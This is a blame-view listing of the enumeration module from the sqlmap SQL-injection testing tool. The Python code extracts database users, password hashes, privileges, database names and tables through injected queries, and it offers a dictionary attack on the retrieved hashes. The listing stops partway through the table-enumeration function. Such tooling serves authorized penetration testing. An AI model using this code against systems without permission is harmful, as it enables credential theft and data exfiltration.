sqlmap/plugins/generic/enumeration.py

2120 lines
85 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
2010-09-30 16:35:45 +04:00
import time
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2010-09-30 16:35:45 +04:00
from lib.core.common import dataToStdout
2008-10-15 19:38:22 +04:00
from lib.core.common import getRange
2010-08-31 18:31:17 +04:00
from lib.core.common import getCompiledRegex
2010-09-30 16:35:45 +04:00
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
from lib.core.common import Backend
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
2010-09-30 16:35:45 +04:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeStringFormat
2011-03-30 01:54:15 +04:00
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import strToHex
from lib.core.common import unArrayizeValue
2011-03-30 01:54:15 +04:00
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import utf8decode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
2010-09-30 23:45:23 +04:00
from lib.core.data import paths
2008-10-15 19:38:22 +04:00
from lib.core.data import queries
2011-02-19 17:07:08 +03:00
from lib.core.dicts import firebirdTypes
2011-03-09 14:37:37 +03:00
from lib.core.dicts import mysqlPrivs
from lib.core.dicts import pgsqlPrivs
from lib.core.dicts import firebirdPrivs
from lib.core.enums import DBMS
2010-12-10 16:04:36 +03:00
from lib.core.enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
2010-09-30 23:45:23 +04:00
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
2011-03-27 11:58:15 +04:00
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import MAX_INT
from lib.core.settings import SQL_STATEMENTS
2008-10-15 19:38:22 +04:00
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
2011-01-07 19:39:47 +03:00
from lib.core.threads import getCurrentThreadData
from lib.parse.banner import bannerParser
2008-10-15 19:38:22 +04:00
from lib.request import inject
2010-09-30 16:35:45 +04:00
from lib.request.connect import Connect as Request
from lib.techniques.brute.use import columnExists
2010-11-09 12:42:43 +03:00
from lib.techniques.brute.use import tableExists
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
2008-10-15 19:38:22 +04:00
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self):
kb.data.has_information_schema = False
2010-12-27 19:36:05 +03:00
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
self.alwaysRetrieveSqlOutput = False
2008-10-15 19:38:22 +04:00
def getBanner(self):
if not conf.getBanner:
return
2010-12-27 19:55:27 +03:00
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
2010-03-04 17:23:52 +03:00
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query))
bannerParser(kb.data.banner)
2010-12-27 19:55:27 +03:00
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
2010-12-27 19:55:27 +03:00
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
2008-10-15 19:38:22 +04:00
2010-12-27 19:55:27 +03:00
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
2008-10-15 19:38:22 +04:00
2011-01-02 11:01:01 +03:00
if conf.os:
setOs()
return kb.data.banner
2008-10-15 19:38:22 +04:00
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_user.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentUser
2008-10-15 19:38:22 +04:00
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_db.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentDb:
kb.data.currentDb = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentDb
2008-10-15 19:38:22 +04:00
def isDba(self, user=None):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
self.getCurrentUser()
query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
2011-02-20 20:28:06 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
else:
query = queries[Backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query)
isDba = inject.getValue(query, charsetType=1)
if user is None:
kb.data.isDba = unArrayizeValue(isDba)
return isDba == "1"
2008-10-15 19:38:22 +04:00
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].users
2008-10-15 19:38:22 +04:00
condition = ( Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")) )
condition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedUsers = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if user:
kb.data.cachedUsers.append(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2008-10-15 19:38:22 +04:00
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
query += " WHERE %s = '%s'" % (condition, conf.user)
2011-02-20 15:07:32 +03:00
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=False)
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
#password = "0x%s" % strToHex(password)
2011-02-20 15:07:32 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if value:
for user, password in value:
if not user or user == " ":
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
password = parsePasswordHash(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords and not conf.direct:
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
2011-02-20 15:07:32 +03:00
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = True
2011-02-20 15:07:32 +03:00
randStr = randomStr()
query = rootQuery.inband.query
2011-02-20 19:00:13 +03:00
2011-02-20 15:07:32 +03:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=True)
2011-02-20 19:00:13 +03:00
2011-02-20 15:07:32 +03:00
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
password = "0x%s" % strToHex(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = False
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
else:
retrievedUsers = set()
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
for user in users:
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if parsedUser:
user = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not user or user in retrievedUsers:
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
2011-02-20 19:00:13 +03:00
passwords = []
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
2008-10-15 19:38:22 +04:00
else:
2011-02-20 19:00:13 +03:00
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False)
password = parsePasswordHash(password)
passwords.append(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
retrievedUsers.add(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
2008-10-15 19:38:22 +04:00
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = ( Backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
2008-10-15 19:38:22 +04:00
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.ORACLE and "DBA" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
2008-10-15 19:38:22 +04:00
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
2008-10-15 19:38:22 +04:00
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
# Set containing the list of DBMS administrators
areAdmins = set()
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
2008-10-15 19:38:22 +04:00
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False)
if not values and Backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
if values:
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.getIdentifiedDbms() == DBMS.PGSQL and getUnicode(privilege).isdigit():
2011-03-09 15:06:32 +03:00
if int(privilege) == 1:
privileges.add(pgsqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.getIdentifiedDbms() == DBMS.ORACLE or ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2011-03-09 15:06:32 +03:00
if privilege.upper() == "Y":
privileges.add(mysqlPrivs[count])
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPrivileges and not conf.direct:
conditionChar = "="
2008-10-15 19:38:22 +04:00
if conf.user:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
users = set()
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
2008-10-15 19:38:22 +04:00
else:
users = conf.user.split(",")
2008-10-15 19:38:22 +04:00
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
unescapedUser = None
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
2008-10-15 19:38:22 +04:00
2011-01-31 00:01:57 +03:00
if not user or user in retrievedUsers:
2008-10-15 19:38:22 +04:00
continue
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if unescapedUser:
queryUser = unescapedUser
2008-10-15 19:38:22 +04:00
else:
queryUser = user
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % queryUser
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, queryUser)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.count2 % queryUser
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and Backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
privileges = set()
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.query2 % (queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, queryUser)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (queryUser, index)
privilege = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.getIdentifiedDbms() == DBMS.PGSQL and ", " in privilege:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.getIdentifiedDbms() == DBMS.ORACLE or ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
privileges.add(firebirdPrivs[privilege.strip()])
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
break
2008-10-15 19:38:22 +04:00
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersPrivileges, areAdmins )
2008-10-15 19:38:22 +04:00
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead"
2010-03-26 23:45:22 +03:00
logger.warn(warnMsg)
return self.getPrivileges(query2)
2008-10-15 19:38:22 +04:00
def getDbs(self):
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
2008-10-26 20:00:07 +03:00
warnMsg += "names will be fetched from 'mysql' database"
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedDbs = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
2008-10-15 19:38:22 +04:00
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if db:
kb.data.cachedDbs.append(db)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
2008-10-15 19:38:22 +04:00
return kb.data.cachedDbs
2008-10-15 19:38:22 +04:00
def getTables(self, bruteForce=None):
self.forceDbmsEnum()
if bruteForce is None:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
2010-10-29 13:00:51 +04:00
2011-03-30 01:54:15 +04:00
conf.db = safeSQLIdentificatorNaming(conf.db)
2010-11-02 14:06:47 +03:00
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
2010-09-30 23:45:23 +04:00
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
2010-10-29 13:00:51 +04:00
else:
2010-11-09 12:42:43 +03:00
return tableExists(paths.COMMON_TABLES)
2008-10-15 19:38:22 +04:00
infoMsg = "fetching tables"
2008-10-15 19:38:22 +04:00
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].tables
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
2010-12-22 14:46:18 +03:00
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
2008-10-15 19:38:22 +04:00
